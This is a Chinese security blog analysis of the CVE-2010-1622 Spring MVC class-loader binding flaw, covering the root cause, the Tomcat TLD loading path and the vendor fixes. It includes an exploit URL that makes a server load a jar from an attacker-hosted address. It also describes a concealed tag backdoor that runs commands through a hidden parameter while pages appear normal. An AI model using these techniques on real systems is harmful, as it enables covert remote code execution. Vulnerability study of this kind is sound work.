CVE-2010-1622-SpringMVC框架任意代码执行漏洞
最近新出了一个0day
,原理和利用方式和CVE-2010-1622
比较像,所以先学习一下CVE-2010-1622
没有进行漏洞复现,截图取自其他blog
1. 介绍
CVE-2010-1622
因为Spring
框架中使用了不安全的表单绑定对象功能。这个机制允许攻击者修改加载对象的类加载器的属性,可能导致拒绝服务和任意命令执行漏洞。拒绝服务属于这个漏洞的其他玩法,本文只介绍RCE
。
Versions Affected:
Spring 3.0.0 to 3.0.2
2.5.0 to 2.5.6.SEC01 (community releases)
2.5.0 to 2.5.7 (subscription customers)Earlier versions may also be affected
Tomcat 6.0.28版本及以前
2. 利用限制
3. 漏洞原理
利用了springmvc
的参数自动绑定,配合数组变量覆盖,造成了class.classLoader.URLs[]
可以被控制,之后发生了RCE
4. 前置知识
Java Beans API
JavaBean
是一种特殊的类,主要用于传递数据信息,这种类中的方法主要用于访问私有的字段,且方法名符合某种命名规则。JavaBean详情
内省(Introspector
) 是Java
语言对 JavaBean
类属性、事件的一种缺省处理方法。其中的propertiesDescriptor
实际上来自于对Method
的解析。
如我们现在声明一个JavaBean—Test
1 | package com.alter.bean; |
在类Test
中有私有属性id
,我们可以通过getter
/setter
方法来访问/设置这个属性。在Java JDK
中提供了一套 API
用来访问某个属性的 getter
/setter
方法,这就是内省。
JDK内省类库:
PropertyDescriptor
类:
PropertyDescriptor
类表示JavaBean
类通过存储器导出一个属性。主要方法:
getPropertyType()
,获得属性的Class
对象;getReadMethod()
,获得用于读取属性值的方法;getWriteMethod()
,获得用于写入属性值的方法;hashCode()
,获取对象的哈希值;setReadMethod(Method readMethod)
,设置用于读取属性值的方法;setWriteMethod(Method writeMethod)
,设置用于写入属性值的方法。
Introspector
类:
getBeanInfo
是类方法,可以拿到一个JavaBean
的所有信息getPropertyDescriptors()
,获得属性的描述,可以采用遍历BeanInfo
的方法,来查找、设置类的属性。
通过这两个类的比较可以看出,都是需要获得PropertyDescriptor
,只是方式不一样:前者通过创建对象直接获得,后者需要遍历,所以使用PropertyDescriptor
类更加方便。
因为内省操作非常麻烦,所以Apache
开发了一套简单、易用的API
来操作Bean
的属性——BeanUtils
工具包(这里只是简单介绍,后文不涉及)。
- 获得属性的值,例如,
BeanUtils.getProperty(userInfo,"userName")
,返回字符串 - 设置属性的值,例如,
BeanUtils.setProperty(userInfo,"age",8)
,参数是字符串或基本类型自动包装。设置属性的值是字符串,获得的值也是字符串,不是基本类型。
BeanUtils
的特点:
- 对基本数据类型的属性的操作:在
web
开发、使用中,录入和显示时,值会被转换成字符串,但底层运算用的是基本类型,这些类型转到动作由BeanUtils
自动完成。 - 对引用数据类型的属性的操作:首先在类中必须有对象,不能是
null
,例如,private Date birthday=new Date();
。操作的是对象的属性而不是整个对象,例如,BeanUtils.setProperty(userInfo,"birthday.time",111111);
Introspector
类提供了两种方法来获取类的bean
信息
1 | BeanInfo getBeanInfo(Class beanClass) |
这里就出现了一个使用时可能出现问题的地方,当没有使用stopClass
,这样会使得访问该类的同时访问到Object.class
。因为在java
中所有的对象都会默认继承Object
基础类
而又因为它存在一个getClass()
方法(只要有 getter
/setter
方法中的其中一个,那么 Java
的内省机制就会认为存在一个属性),所以会找到class
属性。
1 | package com.alter.bean; |
其中后三个属性是我们预期的(虽然没有pass
属性,但是有getter
方法,所以内省机制就会认为存在一个属性),而class
则是对应于Object.class
。
如果我们接着调用
1 | Introspector.getBeanInfo(Class.class); |
可以看到关键的classLoader
出现了
SpringMVC如何实现数据绑定
SpringMVC
中当传入一个http
请求时会进入DispatcherServlet
的doDispatch
,然后前端控制器请求HandlerMapping
查找Handler
,接着HandlerAdapter
请求适配器去执行Handler
,然后返回ModelAndView
,ViewResolver
再去解析并返回View
,前端解析器去最后渲染视图。
在这个过程中我们这里主要关注再适配器中invokeHandler
调用到的参数解析所进行的数据绑定(在调用controller
中的方法传入参数前进行的操作)。
无论是spring mvc
的数据绑定(将各式参数绑定到@RequestMapping
注解的请求处理方法的参数上),还是BeanFactory
(处理@Autowired
注解)都会使用到BeanWrapper
接口。
过程如上,BeanWrapperImpl
具体实现了创建,持有以及修改bean
的方法。
其中的setPropertyValue
方法可以将参数值注入到指定bean
的相关属性中(包括list
,map
等),同时也可以嵌套设置属性。
变量覆盖问题
BeanWrapperImpl
的作用:
我们都知道,Spring
里面有一个很重要的概念就是容器,容器里面存放的是用户或者系统本身创建的bean
对象。Spring
通过容器创建和管理这些bean
对象,并把他们注入到需要使用这些对象的方法或者类中。
在spring
中org.springframework.beans.BeanWrapperImpl
这个类发挥了很大的作用,它直接或间接实现了两个接口,BeanWrapper
和PropertyAccessor
。第一个接口定义了持有bean
的方法,第二个接口定义了获取和修改bean
的属性的方法。所以BeanWrapperImpl
的功能就是具体实现了创建,持有以及修改bean
的方法。
其中我们先重点提一下BeanWrapperImpl
中的setPropertyValue
方法。通过多种不同参数的setPropertyValue
的方法,可以将简单类型的参数值或者复杂类型的参数值,比如array
,list
,map
等,注入到指定bean
的相关属性中。
我们来看一下demo
1 | public class User { |
新建两个类User
和UserInfo
,其中User
的name
和UserInfo
中id
有get
和set
方法,而UserInfo
中的user
,number
和names[]
数组只有get
方法。
1 | /*发送请求*/ |
结果中,id
、number
、name
如预期接收正常,因为没有set
方法,class
和classLoader
同样没有set
方法,所以失败。
接下来的names
反而发现赋值成功了,这就比较有意思了,因为names
这里我们没有设置set
方法它却成功赋值。
看看怎么回事。
上面我们分析流程提到了BeanWrapperImpl
的setPropertyValue
方法是用来绑定赋值的。
跟进getPropertyValue
方法
发现是从CachedIntrospectionResults
获取PropertyDescriptor
。我们来看下CachedIntrospectionResults
如何来的。
看到了熟悉的Introspector.getBeanInfo
。这也就是我们上面讲过的内省,因此可以理解它为什么它能去获取到没有set
的属性。
接着看赋值操作
看代码可以知道当判断为Array
时会直接调用Array.set
,由此绕过了set
方法,直接调用底层赋值。后面同样List
,Map
类型的字段也有类似的处理,也就是说这三种类型是不需要set
方法的。对于一般的值,直接调用java
反射中的writeMethod
方法给予赋值。
5. 漏洞复现
从之前测试的图我们可以看到程序运行环境的classLoader
。随着web
容器的不同,大家对这个东西的实现方式不一样。在tomcat
上,也就是spring mvc
拿到tomcat
上运行时,它会变成:
1 | org.apache.catalina.loader.WebappClassLoader |
可以从tomcat
的api
文档中,查到这个类的一些字段:http://tomcat.apache.org/tomcat-6.0-doc/api/org/apache/catalina/loader/WebappClassLoader.html
我们可以看到WebappClassLoader
类,继承URLClassLoader
类,URLClassLoader
的一个方法叫做getURLs
,返回一个数组。而由上面的分析可知:只要一个getter
返回的是一个数组,就会绕过安全限制。所以接下来我们就尝试用这个URLs[]
来搞事情。
getURLs
方法,其实用的地方真的不多,只有在TldLocationsCache
类,对页面的tld
标签库处理时,才会从这一堆URL
中获取tld
文件。它的原理是从URL
中指定的目录,去获取tld
文件,允许从网络中获取tld
文件。当一个tld
放在jar
中时,可以通过
1 | jar:http://vps/test.jar!/ |
这个URL
,会下载到服务器一个jar
文件,然后从jar
文件中,寻找tld
文件,并且根据tld
文件,做spring mvc
标签库的进一步解析。
tld 和 tag 文件
tld文件
tld
是标签库描述文件,用于存放标签名字和类的映射用的
标签库:它把类标签和后面的Java
类映射起来,它减少了页面的代码,使页面更加的清晰,其实标签最后还是被解释成后台的java
代码。
原理是,在用户在jsp
页面中使用标签时,系统首先会先到xml
文件中的 <taglib>
标签中的<taglib-uri>
和<taglib-location>
这两对标签找到相对应的扩展名为tld
文件,然后在 tld
文件中的映射再找到相对应的taglib
类。
创建的每个标签都必须在tld
文件中声明,如果要在jsp
页面用jsp
的标签,必先先实现定义标签的类,然后在标签库描述文件(TLD
)中将写好的类映射成jsp
标签,然后在jsp
页面中使用定义好的标签,然后就可以实现动态的jsp
信息。
tag文件
在Web
应用中许多JSP
页面都有相同的信息,如都需要相同的导航栏和尾页等。如果能把相同的信息都形成一种特殊的文件,而且各个JSP
页面都可以使用这种特殊的文件,那么就能实现代码的复用,维护性就比较好了
实现代码复用还有另外两种方式,include
指令和include
动作,那就来说说他们的不足吧,首先不论是include
指令还是include
动作处理的都是单一的JSP
文件,用户可以通过输入地址栏的方式来访问响应的JSP
文件,这时候用户访问的JSP
文件可能只是一个导航栏,这不是设计者希望看到的.include
指令的耦合性太大,include
动作虽然耦合性较小但是能放在Web
服务目录的任意子目录中,不仅显的杂乱无章,还不利于管理和维护.
使用tag
文件就能很好的解决这一缺点,tag
文件不仅能实现动态加载实现代码复用,还不能让用户直接访问,tag
文件放在指定的目录下,维护起来会比较方便(很多时候会让tag
文件去处理数据,而JSP
页面只是去显示数据,实现数据显示和数据处理分离,这样就比较便于维护了)
我们看怎么去用这两文件去RCE
:
上面提到Spring
会通过 TldLocationsCache
类(jsp
平台对jsp
解析时用到的类)从WebappClassLoader
里面读取url
参数,并用来解析TLD
文件在解析TLD
的时候,是允许直接使用jsp
语法的,通过漏洞我们可以对classLoader
的URLs[]
进行赋值操作,然后Spring
会通过平台解析,从URLs[]
中提取它所需要的TLD
文件,并在执行jsp
时运行这个TLD
所包含的内容。
有了这个思路,利用方法就是构造一个带有恶意TLD
文件的jar
,通过HTTP
将jar
的地址告诉URLs[]
,然后坐等执行。
环境:tomcat-6.0.26
spring-webmvc-3.0.0.RELEASE
创建一个工程,META-INF中放入spring-form.tld和tags/InputTag.tag,打成jar包
1 | //spring-form.tld |
编译出的jar
包放到web
上提供下载SpringMVC
中编写一个jsp
1 | //hello.jsp |
controller
如下:
1 |
|
部署项目后打开链接http://localhost:8088/hello?class.classLoader.URLs[0]=jar:http://127.0.0.1:8000/test.jar!/
漏洞发布者写的POC原本页面会显示一个文本框才对,现在变成了一个空白,并且后台执行命令
mkdir /tmp/PWNED
注意,是所有的页面,凡是有input的地方,都会变成空白,这个标签直接被替换掉。
很显然,漏洞发布者提供的EXP是不符合期望的,一旦用了之后,被攻击的网站立刻显示异常,傻子都知道出了问题了。应该符合“想让它执行,就执行,不想让执行,就显示正常“。
下载spring-form.tld
,给其中的input tag
改名,name
改为xxx
:
1 | <tag> |
随便什么名字都可以。新加入一个tag
,叫做input
:
1 | <tag-file> |
InputTag.tag
的内容(关键代码):
1 | ... |
精华就在这里,替换了原来的
input tag
,并且还拥有input tag
的功能。页面显示的还是原来的input
,不影响原本的业务逻辑,页面看不出什么来。
只有在攻击者提交xxxcmd
时,会执行系统命令,其实这也不够和谐,最和谐的,是搞个webshell
出来。
6. 漏洞流程
首先setPropertyValue
将对应参数填入URLs[]
,也就是将值赋给了classloader
(数据绑定)
接着在渲染jsp
页面时,Spring
会通过Jasper
中的TldLocationsCache
类(jsp
平台对jsp
解析时用到的类)从WebappClassLoader
里面读取url
参数(用来解析TLD
文件,在解析TLD
的时候,是允许直接使用jsp
语法的)在init
时通过scanJars
方法依次读取并加载。
这里主要是在ViewRwsolver
视图解析渲染流程中,其他细节我们不用关注,在完成模版解析后,我们可以看下生成的文件,发现除了_jsp.clss
还有我们从jar
中下载的恶意代码InputTag_tag.class
已经被编译到本地。
首先来看hello_jsp.java
,因为实际上jsp
就是一个servlet
,所以最后生成是一个java
文件。
其中static
块里面可以看到引入的外部jar
包,然后代码中对应<spring:form>
和<spring:input>
标签的是_jspx_meth_form_005fform_005f0
,_jspx_meth_form_005finput_005f0
两个方法。new
了一个InputTag_tag
类并执行doTag()
方法,对应我们之前的InputTag.tag
,看它生产的java
文件中doTag()
方法
发现是这里最后执行了之前tag
中写的代码导致RCE
。
简单总结下主要流程:exp
->参数自动绑定->数组覆盖classLoader.URLs[0]
->WebappClassLoader.getURLs()
->TldLocationsCache.scanJars()
->模板解析->_jspx_th_form_005finput_005f0.doTag()
->shellcode
学习其他博客的部分分析:Spring
通过调用总入口DispatcherServlet.java
的doDispath
方法来路由处理本次的http
请求。通过源码,我们可以看到doDispatch
的两个参数分别为HttpServletRequest request
, HttpServletResponse response
,也就是当前请求的request
和response
对象。这是由tomcat
容器传递给spring
的。
我们先来总体预览一下doDispatch
对于本次http
请求的执行过程。其实主要就是有3
步。
a) 通过传入的Rquest
,获取响应处理的controller
b) 传入get
参数,执行controller
的方法
c) 获取controller
中相关方法的返回值,渲染模版对象,返回response
Spring
为了达到很好的扩展性,自定义了一种类型,handler
,handler
可以是任意框架的执行类,对于spring
就是controller
,对于stucts
就是action
.
1 | /*DispatcherServlet.java#doDispatch*/ |
下面就是具体对获取的handle
对象进行处理了。框架在处理http
请求的时候不是使用的handle
类,而肯定是使用的handler
中的某个方法。对于各种不同handle
中的方法,Spring
都是通过HandlerAdapter
的handle
方法,进行统一调用,然后返回我们熟悉的spring
的ModelAndView
对象。
1 | ModelAndView mv = null; |
当ModelAndView
对象返回之后,再调用:
1 | render(mv, processedRequest, response); |
从而真正将模版渲染。这行代码也就是我们触发shellcode
的地方。
进入ha.handle
,经过一系列checkandparper
之后,返回的是invokeHandlerMethod(request, response, handler);
这个方法的返回值。
进一步跟进代码,最终发现,执行任务的是ServletHandlerMethodResolver
对象,它首先调用handle
中的方法,返回一个我们不知道是什么的Object
值,然后调用getModelAndView
获取ModelAndView
。代码如下:
1 | Object result = methodInvoker.invokeHandlerMethod(handlerMethod, handler, webRequest, implicitModel); |
进入invokeHandlerMethod
1 | Object[] args = resolveHandlerArguments(handlerMethodToInvoke, handler, webRequest, implicitModel); |
其中,resolvEHandlerArguments
是解析出controller
方法的参数的,解析完参数之后进一步就是调用解析结果开始执行具体方法,也就是doInvokeMethod
所以Object result
代表的就是:Execute
方法执行后的返回值 “success”!
这只是spring
执行controller
中的方法的过程。
详细分析
7. 利用条件
spring mvc
远程代码执行必须使用了spring
标签库才可以,否则不能最终加载tld
文件。- 需要该应用使用了对象绑定表单功能,其次由代码可知需要是该应用启动后第一次的
1
2
3
4
5
6
7
8
9
10
11
12
13//TldLocationsCache.class
private void init() throws JasperException {
if(!this.initialized) {
try {
this.processWebDotXml();
this.scanJars();
this.processTldsInFileSystem("/WEB-INF/");
this.initialized = true;
} catch (Exception var2) {
throw new JasperException(Localizer.getMessage("jsp.error.internal.tldinit", var2.getMessage()));
}
}
}jsp
页面请求即第一次渲染进行TldLocationsCache.init
才可以,否则无法将修改的URLs
内容装载,也就无法加载我们恶意的tld
。 spring mvc
拒绝服务漏洞只是一个随机出现的福利,因为服务器上的应用程序不一定class
加载顺序倒置就会出问题。- 原公布者的
POC
不建议,用了之后服务器只能等待重启了(因为poc
会干扰原页面的执行) - 由于
exp
都是替换了input tag
,所以必须当前页面中存在input tag
,才能触发,当然一个正常的web
应用中必然有这样的页面。 - 只有在
TldLocationsCache
类,对页面的tld
标签库处理时,才会用到getURLs
方法,从这一堆URL
中获取tld
文件。
它的原理是从URL
中指定的目录,去获取tld
文件,允许从网络中获取tld
文件。当一个tld
放在jar
中时,可以通过jar:http://xxx/xxx.jar!/
去获取。
这个URL
,会下载到tomcat
服务器一个jar
文件,然后从jar
文件中,寻找tld
文件,并且根据tld
文件,做spring mvc
标签库的进一步解析。Tld
文件自己有个标准(详见jsp
标签库),在解析的时候,是允许直接使用jsp
语法的,所以这就出现了远程代码执行的最终效果。
8. 修复
Tomcat
:
虽然是spring
的漏洞,但tomcat
也做了修复
Return copies of the URL array rather than the original. This facilitated CVE-2010-1622 although the root cause was in the Spring Framework. Returning a copy in this case seems like a good idea.
tomcat6.0.28
版本后把getURLs
方法返回的值return repositoryURLs;
改成了return repositoryURLs.clone();
,使的我们获得的拷贝版本无法修改classloader
中的URLs[]
Spring
:spring
则是在CachedIntrospectionResults
中获取beanInfo
后对其进行了判断,将classloader
添加进了黑名单。
Refer
http://rui0.cn/archives/1158
https://www.inbreak.net/archives/377
https://www.iteye.com/topic/1123382
https://blog.csdn.net/dingodingy/article/details/84705444
https://www.cxyck.com/article/1214.html